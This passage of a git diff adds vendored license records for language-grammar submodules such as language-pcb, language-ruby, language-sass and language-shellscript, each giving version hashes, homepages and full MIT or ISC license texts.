+    https://github.com/textmate/shellscript.tmbundle and distributed under the
+    following license, located in `README.mdown`:
+
+    Permission to copy, use, modify, sell and distribute this
+    software is granted. This software is provided "as is" without
+    express or implied warranty, and with no claim as to its
+    suitability for any purpose.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-pcb.dep.yml b/vendor/licenses/git_submodule/language-pcb.dep.yml
new file mode 100644
index 0000000000..6f90ef4013
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-pcb.dep.yml
@@ -0,0 +1,23 @@
+---
+name: language-pcb
+version: 264d8630ec960cca83652aeedbeb2814bdb09491
+type: git_submodule
+homepage: https://github.com/Alhadis/language-pcb
+license: isc
+licenses:
+- sources: LICENSE.md
+  text: |
+    Copyright (c) 2017-2022, John Gardner
+
+    Permission to use, copy, modify, and/or distribute this software for any
+    purpose with or without fee is hereby granted, provided that the above
+    copyright notice and this permission notice appear in all copies.
+
+    THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
+    WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
+    MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
+    ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
+    WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
+    ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
+    OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-povray.dep.yml b/vendor/licenses/git_submodule/language-povray.dep.yml
new file mode 100644
index 0000000000..1011c31b38
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-povray.dep.yml
@@ -0,0 +1,28 @@
+---
+type: git_submodule
+name: language-povray
+version: c9e175fd41b94e11bf162bf7c0a7dbedfada9749
+license: mit
+licenses:
+- text: |-
+    Copyright (c) 2016 Christoph Lipka
+
+    Permission is hereby granted, free of charge, to any person obtaining
+    a copy of this software and associated documentation files (the
+    "Software"), to deal in the Software without restriction, including
+    without limitation the rights to use, copy, modify, merge, publish,
+    distribute, sublicense, and/or sell copies of the Software, and to
+    permit persons to whom the Software is furnished to do so, subject to
+    the following conditions:
+
+    The above copyright notice and this permission notice shall be
+    included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+    EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+    MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+    NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+    LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+    OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+    WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-property-list.dep.yml b/vendor/licenses/git_submodule/language-property-list.dep.yml
new file mode 100644
index 0000000000..7d2033335d
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-property-list.dep.yml
@@ -0,0 +1,41 @@
+---
+name: language-property-list
+version: 9af8af8ef69bce22965ae9613770832c059b8777
+type: git_submodule
+homepage: https://github.com/atom/language-property-list
+license: mit
+licenses:
+- sources: LICENSE.md
+  text: |
+    Copyright (c) 2014 GitHub Inc.
+
+    Permission is hereby granted, free of charge, to any person obtaining
+    a copy of this software and associated documentation files (the
+    "Software"), to deal in the Software without restriction, including
+    without limitation the rights to use, copy, modify, merge, publish,
+    distribute, sublicense, and/or sell copies of the Software, and to
+    permit persons to whom the Software is furnished to do so, subject to
+    the following conditions:
+
+    The above copyright notice and this permission notice shall be
+    included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+    EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+    MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+    NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+    LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+    OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+    WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+
+    --------------------------------------------------------------------
+
+    This package was derived from a TextMate bundle located at
+    https://github.com/textmate/property-list.tmbundle and distributed under the
+    following license, located in `README.mdown`:
+
+    Permission to copy, use, modify, sell and distribute this
+    software is granted. This software is provided "as is" without
+    express or implied warranty, and with no claim as to its
+    suitability for any purpose.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-pyret.dep.yml b/vendor/licenses/git_submodule/language-pyret.dep.yml
new file mode 100644
index 0000000000..061e88eb5f
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-pyret.dep.yml
@@ -0,0 +1,31 @@
+---
+name: language-pyret
+version: 1c796301421b38a15a6ff73a78f17deccf849b98
+type: git_submodule
+homepage: https://github.com/samuela/language-pyret
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    MIT License
+
+    Copyright (c) language-pyret contributors
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-qasm.dep.yml b/vendor/licenses/git_submodule/language-qasm.dep.yml
new file mode 100644
index 0000000000..a76ac5284b
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-qasm.dep.yml
@@ -0,0 +1,28 @@
+---
+type: git_submodule
+name: language-qasm
+version: 8d5bbadaee337adf94e1b0084b80aa277acdd18a
+license: mit
+licenses:
+- text: |-
+    Copyright (c) 2019 Tareq El Dandachi
+
+    Permission is hereby granted, free of charge, to any person obtaining
+    a copy of this software and associated documentation files (the
+    "Software"), to deal in the Software without restriction, including
+    without limitation the rights to use, copy, modify, merge, publish,
+    distribute, sublicense, and/or sell copies of the Software, and to
+    permit persons to whom the Software is furnished to do so, subject to
+    the following conditions:
+
+    The above copyright notice and this permission notice shall be
+    included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+    EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+    MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+    NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+    LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+    OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+    WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-reason.dep.yml b/vendor/licenses/git_submodule/language-reason.dep.yml
new file mode 100644
index 0000000000..fb6fc9af18
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-reason.dep.yml
@@ -0,0 +1,17 @@
+---
+name: language-reason
+version: 4afd6bc36e6f726dbb11b92cdea4406a433cce61
+type: git_submodule
+homepage: https://github.com/reasonml-editor/language-reason
+license: mit
+licenses:
+- sources: LICENSE.md
+  text: |
+    Copyright (c) 2016 Cheng Lou
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-reg.dep.yml b/vendor/licenses/git_submodule/language-reg.dep.yml
new file mode 100644
index 0000000000..bd10762ab2
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-reg.dep.yml
@@ -0,0 +1,29 @@
+---
+type: git_submodule
+name: language-reg
+version: 9850e9b9da731f019874ed77394eef185bbab815
+license: mit
+licenses:
+- text: |-
+    The MIT License (MIT)
+
+    Copyright (c) 2015 [Brandon Sara](http://bsara.github.io)
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-regexp.dep.yml b/vendor/licenses/git_submodule/language-regexp.dep.yml
new file mode 100644
index 0000000000..3a115bd2ff
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-regexp.dep.yml
@@ -0,0 +1,23 @@
+---
+name: language-regexp
+version: 2e240580b7e7046718b2c495d418f3ded972d618
+type: git_submodule
+homepage: https://github.com/Alhadis/language-regexp
+license: isc
+licenses:
+- sources: LICENSE.md
+  text: |
+    Copyright (c) 2016-2023, John Gardner
+
+    Permission to use, copy, modify, and/or distribute this software for any
+    purpose with or without fee is hereby granted, provided that the above
+    copyright notice and this permission notice appear in all copies.
+
+    THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
+    WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
+    MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
+    ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
+    WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
+    ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
+    OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-renpy.dep.yml b/vendor/licenses/git_submodule/language-renpy.dep.yml
new file mode 100644
index 0000000000..e65a5df37b
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-renpy.dep.yml
@@ -0,0 +1,44 @@
+---
+name: language-renpy
+version: 3b459241a21c563f364586fa5935a18714e3dcac
+type: git_submodule
+homepage: https://github.com/williamd1k0/language-renpy.git
+license: mit
+licenses:
+- sources: LICENSE.md
+  text: |
+    Original work Copyright (c) 2014 GitHub Inc.
+    Modified work Copyright (c) 2016-2018 William Tumeo <tumeowilliam@gmail.com>
+    Modified work Copyright (c) 2018 Tom Rothamel <pytom@bishoujo.us>
+
+
+    Permission is hereby granted, free of charge, to any person obtaining
+    a copy of this software and associated documentation files (the
+    "Software"), to deal in the Software without restriction, including
+    without limitation the rights to use, copy, modify, merge, publish,
+    distribute, sublicense, and/or sell copies of the Software, and to
+    permit persons to whom the Software is furnished to do so, subject to
+    the following conditions:
+
+    The above copyright notice and this permission notice shall be
+    included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+    EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+    MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+    NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+    LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+    OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+    WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+
+    --------------------------------------------------------------------
+
+    This package was derived from a TextMate bundle located at
+    https://github.com/textmate/python.tmbundle and distributed under the following
+    license, located in `README.mdown`:
+
+    Permission to copy, use, modify, sell and distribute this
+    software is granted. This software is provided "as is" without
+    express or implied warranty, and with no claim as to its
+    suitability for any purpose.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-restructuredtext.dep.yml b/vendor/licenses/git_submodule/language-restructuredtext.dep.yml
new file mode 100644
index 0000000000..d488330e0d
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-restructuredtext.dep.yml
@@ -0,0 +1,37 @@
+---
+name: language-restructuredtext
+version: c97b54febdd44c7600a944e49fc188e5e024a7cb
+type: git_submodule
+homepage: https://github.com/Lukasa/language-restructuredtext
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    MIT License
+
+    Copyright (c) 2014-2017 Cory Benfield
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices:
+- sources: AUTHORS.md
+  text: |-
+    This package would not exist without the great work of the following people:
+
+    - Kyle Kelley (@rgbkrk)
+    - Ash Wilson (@smashwilson)
diff --git a/vendor/licenses/git_submodule/language-ring.dep.yml b/vendor/licenses/git_submodule/language-ring.dep.yml
new file mode 100644
index 0000000000..2bce69a7b2
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-ring.dep.yml
@@ -0,0 +1,28 @@
+---
+type: git_submodule
+name: language-ring
+version: 45f3bb0af7ce72b21cc5545673878255d720ab6c
+license: mit
+licenses:
+- text: |-
+    Copyright (c) 2016 Mahmoud Fayed
+
+    Permission is hereby granted, free of charge, to any person obtaining
+    a copy of this software and associated documentation files (the
+    "Software"), to deal in the Software without restriction, including
+    without limitation the rights to use, copy, modify, merge, publish,
+    distribute, sublicense, and/or sell copies of the Software, and to
+    permit persons to whom the Software is furnished to do so, subject to
+    the following conditions:
+
+    The above copyright notice and this permission notice shall be
+    included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+    EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+    MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+    NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+    LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+    OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+    WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-roff.dep.yml b/vendor/licenses/git_submodule/language-roff.dep.yml
new file mode 100644
index 0000000000..43b5140110
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-roff.dep.yml
@@ -0,0 +1,23 @@
+---
+name: language-roff
+version: ea8c30dc1efd2be2419cc37068fabe62c85c8811
+type: git_submodule
+homepage: https://github.com/Alhadis/language-roff
+license: isc
+licenses:
+- sources: LICENSE.md
+  text: |
+    Copyright (c) 2016-2024, John Gardner
+
+    Permission to use, copy, modify, and/or distribute this software for any
+    purpose with or without fee is hereby granted, provided that the above
+    copyright notice and this permission notice appear in all copies.
+
+    THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
+    WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
+    MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
+    ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
+    WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
+    ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
+    OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-rpm-spec.dep.yml b/vendor/licenses/git_submodule/language-rpm-spec.dep.yml
new file mode 100644
index 0000000000..281b8a2815
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-rpm-spec.dep.yml
@@ -0,0 +1,28 @@
+---
+type: git_submodule
+name: language-rpm-spec
+version: b492ea8731340e6ada471f30c67480128661fdaf
+license: mit
+licenses:
+- text: |-
+    Copyright (c) 2015-2019 Jeremiah Powell
+
+    Permission is hereby granted, free of charge, to any person obtaining
+    a copy of this software and associated documentation files (the
+    "Software"), to deal in the Software without restriction, including
+    without limitation the rights to use, copy, modify, merge, publish,
+    distribute, sublicense, and/or sell copies of the Software, and to
+    permit persons to whom the Software is furnished to do so, subject to
+    the following conditions:
+
+    The above copyright notice and this permission notice shall be
+    included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+    EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+    MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+    NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+    LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+    OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+    WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-rtf.dep.yml b/vendor/licenses/git_submodule/language-rtf.dep.yml
new file mode 100644
index 0000000000..a06f93c4bd
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-rtf.dep.yml
@@ -0,0 +1,28 @@
+---
+name: language-rtf
+version: e9e8e7134dd38f3149e273718e934871f9a759e4
+type: git_submodule
+homepage: https://github.com/nwhetsell/language-rtf
+license: mit
+licenses:
+- sources: LICENSE.md
+  text: |
+    Copyright © 2019 Nathan Whetsell
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy of
+    this software and associated documentation files (the “Software”), to deal in
+    the Software without restriction, including without limitation the rights to
+    use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
+    the Software, and to permit persons to whom the Software is furnished to do so,
+    subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
+    FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
+    COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
+    IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+    CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-ruby.dep.yml b/vendor/licenses/git_submodule/language-ruby.dep.yml
new file mode 100644
index 0000000000..e5ff1cda2e
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-ruby.dep.yml
@@ -0,0 +1,41 @@
+---
+name: language-ruby
+version: 140e56aec1f911aa7d6bbc350b2d8bc3f3c7a1b2
+type: git_submodule
+homepage: https://github.com/atom/language-ruby
+license: mit
+licenses:
+- sources: LICENSE.md
+  text: |
+    Copyright (c) 2014 GitHub Inc.
+
+    Permission is hereby granted, free of charge, to any person obtaining
+    a copy of this software and associated documentation files (the
+    "Software"), to deal in the Software without restriction, including
+    without limitation the rights to use, copy, modify, merge, publish,
+    distribute, sublicense, and/or sell copies of the Software, and to
+    permit persons to whom the Software is furnished to do so, subject to
+    the following conditions:
+
+    The above copyright notice and this permission notice shall be
+    included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+    EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+    MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+    NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+    LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+    OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+    WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+
+    --------------------------------------------------------------------
+
+    This package was derived from a TextMate bundle located at
+    https://github.com/textmate/ruby.tmbundle and distributed under the following
+    license, located in `README.mdown`:
+
+    Permission to copy, use, modify, sell and distribute this
+    software is granted. This software is provided "as is" without
+    express or implied warranty, and with no claim as to its
+    suitability for any purpose.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-sass.dep.yml b/vendor/licenses/git_submodule/language-sass.dep.yml
new file mode 100644
index 0000000000..ae33c82266
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-sass.dep.yml
@@ -0,0 +1,57 @@
+---
+name: language-sass
+version: 0f7fb5de95073f46c7b9662c873336ee1bb38f50
+type: git_submodule
+homepage: https://github.com/atom/language-sass
+license: mit
+licenses:
+- sources: LICENSE.md
+  text: |
+    Copyright (c) 2014 GitHub Inc.
+
+    Permission is hereby granted, free of charge, to any person obtaining
+    a copy of this software and associated documentation files (the
+    "Software"), to deal in the Software without restriction, including
+    without limitation the rights to use, copy, modify, merge, publish,
+    distribute, sublicense, and/or sell copies of the Software, and to
+    permit persons to whom the Software is furnished to do so, subject to
+    the following conditions:
+
+    The above copyright notice and this permission notice shall be
+    included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+    EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+    MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+    NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+    LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+    OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+    WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+
+    --------------------------------------------------------------------
+
+    This package was derived from a TextMate bundle located at
+    https://github.com/alexsancho/Sass.tmbundle and distributed under the following
+    license, located in `LICENSE.md`:
+
+    Copyright (c) 2012 Alex Sancho, http://alexsancho.name/
+
+    Permission is hereby granted, free of charge, to any person obtaining
+    a copy of this software and associated documentation files (the
+    "Software"), to deal in the Software without restriction, including
+    without limitation the rights to use, copy, modify, merge, publish,
+    distribute, sublicense, and/or sell copies of the Software, and to
+    permit persons to whom the Software is furnished to do so, subject to
+    the following conditions:
+
+    The above copyright notice and this permission notice shall be
+    included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+    EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+    MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+    NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+    LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+    OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+    WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-sed.dep.yml b/vendor/licenses/git_submodule/language-sed.dep.yml
new file mode 100644
index 0000000000..80e2dbb221
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-sed.dep.yml
@@ -0,0 +1,23 @@
+---
+name: language-sed
+version: c55c39ef05f29ad1a73a864170c06f3ee25e85f2
+type: git_submodule
+homepage: https://github.com/Alhadis/language-sed
+license: isc
+licenses:
+- sources: LICENSE.md
+  text: |
+    Copyright (c) 2018-2021, John Gardner
+
+    Permission to use, copy, modify, and/or distribute this software for any
+    purpose with or without fee is hereby granted, provided that the above
+    copyright notice and this permission notice appear in all copies.
+
+    THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
+    WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
+    MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
+    ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
+    WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
+    ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
+    OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-shellscript.dep.yml b/vendor/licenses/git_submodule/language-shellscript.dep.yml
new file mode 100644
index 0000000000..ebe8b4a2cd
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-shellscript.dep.yml
@@ -0,0 +1,41 @@
+---
+name: language-shellscript
+version: 35dc1aa1371ab75ece08fd0837330eb62e1f9da9
+type: git_submodule
+homepage: https://github.com/atom/language-shellscript
+license: mit
+licenses:
+- sources: LICENSE.md
+  text: |
+    Copyright (c) 2014 GitHub Inc.
+
+    Permission is hereby granted, free of charge, to any person obtaining
+    a copy of this software and associated documentation files (the
+    "Software"), to deal in the Software without restriction, including
+    without limitation the rights to use, copy, modify, merge, publish,
+    distribute, sublicense, and/or sell copies of the Software, and to
+    permit persons to whom the Software is furnished to do so, subject to
+    the following conditions:
+
+    The above copyright notice and this permission notice shall be
+    included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+    EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+    MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+    NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+    LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
